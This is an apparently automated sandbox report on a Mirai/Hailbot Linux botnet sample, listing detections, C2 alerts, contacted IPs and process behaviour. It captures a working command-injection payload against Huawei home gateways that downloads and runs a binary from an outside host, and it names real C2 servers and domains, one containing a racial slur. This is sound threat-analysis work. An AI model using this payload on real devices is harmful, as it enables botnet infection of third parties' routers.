Edit tour

Linux Analysis Report
garm7.elf

Overview

General Information

Sample name:	garm7.elf
Analysis ID:	1540905
MD5:	f3f31e8331a7c61029f9c9d425a896de
SHA1:	b9307b25bbbf01bfb70b4bf48233c7029e7ee2b3
SHA256:	ba18aeb9bd18bf78988e0dc6c224fff486bc91c4c0c6cc8874450da472f8ff85
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540905
Start date and time:	2024-10-24 09:54:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	garm7.elf
Detection:	MAL
Classification:	mal92.troj.linELF@0/1025@70/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: garm7.elf

Runtime Messages

Command:	/tmp/garm7.elf
PID:	5517
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	hail china mainland
Standard Error:

Process Tree

system is lnxubuntu20

garm7.elf (PID: 5517, Parent: 5439, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/garm7.elf

garm7.elf New Fork (PID: 5519, Parent: 5517)

garm7.elf New Fork (PID: 5520, Parent: 5517)

garm7.elf New Fork (PID: 5523, Parent: 5520)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
garm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
garm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5517.1.00007f6e18017000.00007f6e1802c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5517.1.00007f6e18017000.00007f6e1802c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: garm7.elf PID: 5517	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

ET MALWARE Hailbot CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T09:55:31.064822+0200	2050066	1	A Network Trojan was detected	192.168.2.14	56590	165.22.62.189	5815	TCP
2024-10-24T09:55:37.674125+0200	2050066	1	A Network Trojan was detected	192.168.2.14	34818	128.199.113.0	9447	TCP
2024-10-24T09:55:44.097839+0200	2050066	1	A Network Trojan was detected	192.168.2.14	55042	165.22.62.189	21783	TCP
2024-10-24T09:55:50.954522+0200	2050066	1	A Network Trojan was detected	192.168.2.14	56054	165.22.62.189	21783	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 469Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 66 6f 78 2e 63 61 74 20 2d 6c 20 2f 74 6d 70 2f 6b 69 20 2d 72 20 2f 68 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 69 3b 20 2f 74 6d 70 2f 6b 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g hfox.cat -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.14:56590 -> 165.22.62.189:5815
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.14:34818 -> 128.199.113.0:9447
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.14:55042 -> 165.22.62.189:21783
Source: Network traffic	Suricata IDS: 2050066 - Severity 1 - ET MALWARE Hailbot CnC Checkin : 192.168.2.14:56054 -> 165.22.62.189:21783

Source: global traffic	DNS traffic detected: malformed DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: swimminginboats.geek. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: howyoudoinbby.dyn. [malformed]

Source: unknown	TCP traffic detected without corresponding DNS query: 41.96.50.168
Source: unknown	TCP traffic detected without corresponding DNS query: 156.178.59.94
Source: unknown	TCP traffic detected without corresponding DNS query: 156.35.176.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.234.212
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.178.43
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.126.172
Source: unknown	TCP traffic detected without corresponding DNS query: 156.99.219.227
Source: unknown	TCP traffic detected without corresponding DNS query: 156.37.47.147
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.23.237
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.54.141
Source: unknown	TCP traffic detected without corresponding DNS query: 156.145.218.52
Source: unknown	TCP traffic detected without corresponding DNS query: 41.28.94.48
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.107.107
Source: unknown	TCP traffic detected without corresponding DNS query: 156.214.76.48
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.64.143
Source: unknown	TCP traffic detected without corresponding DNS query: 156.125.49.129
Source: unknown	TCP traffic detected without corresponding DNS query: 197.220.241.150
Source: unknown	TCP traffic detected without corresponding DNS query: 156.148.244.50
Source: unknown	TCP traffic detected without corresponding DNS query: 41.33.141.23
Source: unknown	TCP traffic detected without corresponding DNS query: 197.119.217.49
Source: unknown	TCP traffic detected without corresponding DNS query: 41.54.103.246
Source: unknown	TCP traffic detected without corresponding DNS query: 197.45.46.42
Source: unknown	TCP traffic detected without corresponding DNS query: 156.66.176.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.78.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.236.18.0
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.242.116
Source: unknown	TCP traffic detected without corresponding DNS query: 156.38.233.220
Source: unknown	TCP traffic detected without corresponding DNS query: 41.87.53.44
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.152.106
Source: unknown	TCP traffic detected without corresponding DNS query: 156.215.11.28
Source: unknown	TCP traffic detected without corresponding DNS query: 41.108.118.140
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.80.47
Source: unknown	TCP traffic detected without corresponding DNS query: 156.156.15.219
Source: unknown	TCP traffic detected without corresponding DNS query: 156.188.39.171
Source: unknown	TCP traffic detected without corresponding DNS query: 41.241.54.49
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.21.49
Source: unknown	TCP traffic detected without corresponding DNS query: 156.133.6.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.202.140
Source: unknown	TCP traffic detected without corresponding DNS query: 197.98.231.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.126.38.84
Source: unknown	TCP traffic detected without corresponding DNS query: 197.252.223.123
Source: unknown	TCP traffic detected without corresponding DNS query: 41.8.54.147
Source: unknown	TCP traffic detected without corresponding DNS query: 156.176.248.44
Source: unknown	TCP traffic detected without corresponding DNS query: 156.242.149.189
Source: unknown	TCP traffic detected without corresponding DNS query: 156.97.221.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.136.75
Source: unknown	TCP traffic detected without corresponding DNS query: 41.119.137.246
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.205.99
Source: unknown	TCP traffic detected without corresponding DNS query: 156.201.252.37
Source: unknown	TCP traffic detected without corresponding DNS query: 41.125.44.207

Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek
Source: global traffic	DNS traffic detected: DNS query: magicalmalware.pirate
Source: global traffic	DNS traffic detected: DNS query: therealniggas.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: swimminginboats.geek. [malformed]
Source: global traffic	DNS traffic detected: DNS query: howyoudoinbby.dyn. [malformed]
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: garm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: garm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3763/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3764/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/135/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3412/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/3672/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/1371/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/garm7.elf (PID: 5519)	File opened: /proc/261/cmdline	Jump to behavior

Source: garm7.elf, 5517.1.000055d4a769c000.000055d4a7812000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: garm7.elf, 5517.1.00007fffd9ab0000.00007fffd9ad1000.rw-.sdmp	Binary or memory string: Px86_64/usr/bin/qemu-arm/tmp/garm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/garm7.elf
Source: garm7.elf, 5517.1.000055d4a769c000.000055d4a7812000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: garm7.elf, 5517.1.00007fffd9ab0000.00007fffd9ad1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Source: Yara match	File source: garm7.elf, type: SAMPLE
Source: Yara match	File source: 5517.1.00007f6e18017000.00007f6e1802c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: garm7.elf PID: 5517, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
garm7.elf	55%	ReversingLabs	Linux.Trojan.Mirai
garm7.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Name	IP	Active	Malicious	Reputation
daisy.ubuntu.com	162.213.35.24	true	false	unknown
swimminginboats.geek	139.59.247.93	true	true	unknown
magicalmalware.pirate	138.197.141.146	true	false	unknown
howyoudoinbby.dyn. [malformed]	unknown	unknown	true	unknown
swimminginboats.geek. [malformed]	unknown	unknown	true	unknown
therealniggas.parody. [malformed]	unknown	unknown	true	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
197.238.77.151	unknown	unknown	37705	TOPNETTN	false
156.158.98.16	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
197.101.109.112	unknown	South Africa	3741	ISZA	false
41.114.147.146	unknown	South Africa	16637	MTNNS-ASZA	false
41.198.207.239	unknown	South Africa	327693	ECHO-SPZA	false
41.205.252.88	unknown	Sierra Leone	36928	SIERRATEL-ASSL	false
197.108.90.223	unknown	South Africa	37168	CELL-CZA	false
41.237.139.162	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.195.49.16	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.51.145.85	unknown	South Africa	37168	CELL-CZA	false
197.131.99.208	unknown	Morocco	6713	IAM-ASMA	false
41.224.152.244	unknown	Tunisia	37492	ORANGE-TN	false
41.129.114.48	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.55.123.225	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.252.76.135	unknown	Sudan	15706	SudatelSD	false
41.240.109.201	unknown	Sudan	36998	SDN-MOBITELSD	false
197.254.144.13	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
197.163.51.174	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.241.59.10	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
156.247.76.119	unknown	Seychelles	54600	PEGTECHINCUS	false
156.154.241.72	unknown	United States	19905	NEUSTAR-AS6US	false
197.251.50.122	unknown	Sudan	37197	SUDRENSD	false
41.69.166.100	unknown	Egypt	24835	RAYA-ASEG	false
197.43.225.164	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.51.42.220	unknown	Sweden	29975	VODACOM-ZA	false
197.113.54.103	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.15.176.241	unknown	South Africa	29975	VODACOM-ZA	false
197.73.132.109	unknown	South Africa	16637	MTNNS-ASZA	false
197.123.112.70	unknown	Egypt	36992	ETISALAT-MISREG	false
41.17.0.111	unknown	South Africa	29975	VODACOM-ZA	false
41.60.37.64	unknown	Mauritius	30969	ZOL-ASGB	false
197.114.121.150	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.187.200.119	unknown	Egypt	20928	NOOR-ASEG	false
156.199.251.113	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.63.150.27	unknown	United States	62724	NWOCA-ASUS	false
197.117.202.176	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.224.152.213	unknown	Tunisia	37492	ORANGE-TN	false
41.171.231.156	unknown	South Africa	36937	Neotel-ASZA	false
41.169.50.107	unknown	South Africa	36937	Neotel-ASZA	false
197.5.109.9	unknown	Tunisia	5438	ATI-TN	false
197.243.212.158	unknown	Namibia	37009	MTCASNNA	false
156.247.76.124	unknown	Seychelles	54600	PEGTECHINCUS	false
156.193.176.251	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.108.223.60	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.23.86.77	unknown	South Africa	29975	VODACOM-ZA	false
197.223.62.27	unknown	Egypt	37069	MOBINILEG	false
41.8.13.51	unknown	South Africa	29975	VODACOM-ZA	false
156.246.102.248	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
41.39.124.169	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.214.107.248	unknown	Nigeria	198504	LU1AE	false
197.190.12.207	unknown	Ghana	37140	zain-asGH	false
197.221.180.220	unknown	South Africa	37356	O-TelZA	false
156.235.45.163	unknown	Seychelles	134705	ITACE-AS-APItaceInternationalLimitedHK	false
197.233.253.15	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
156.80.19.69	unknown	United States	393649	BOOZ-AS2US	false
156.20.255.203	unknown	United States	23005	SWITCH-LTDUS	false
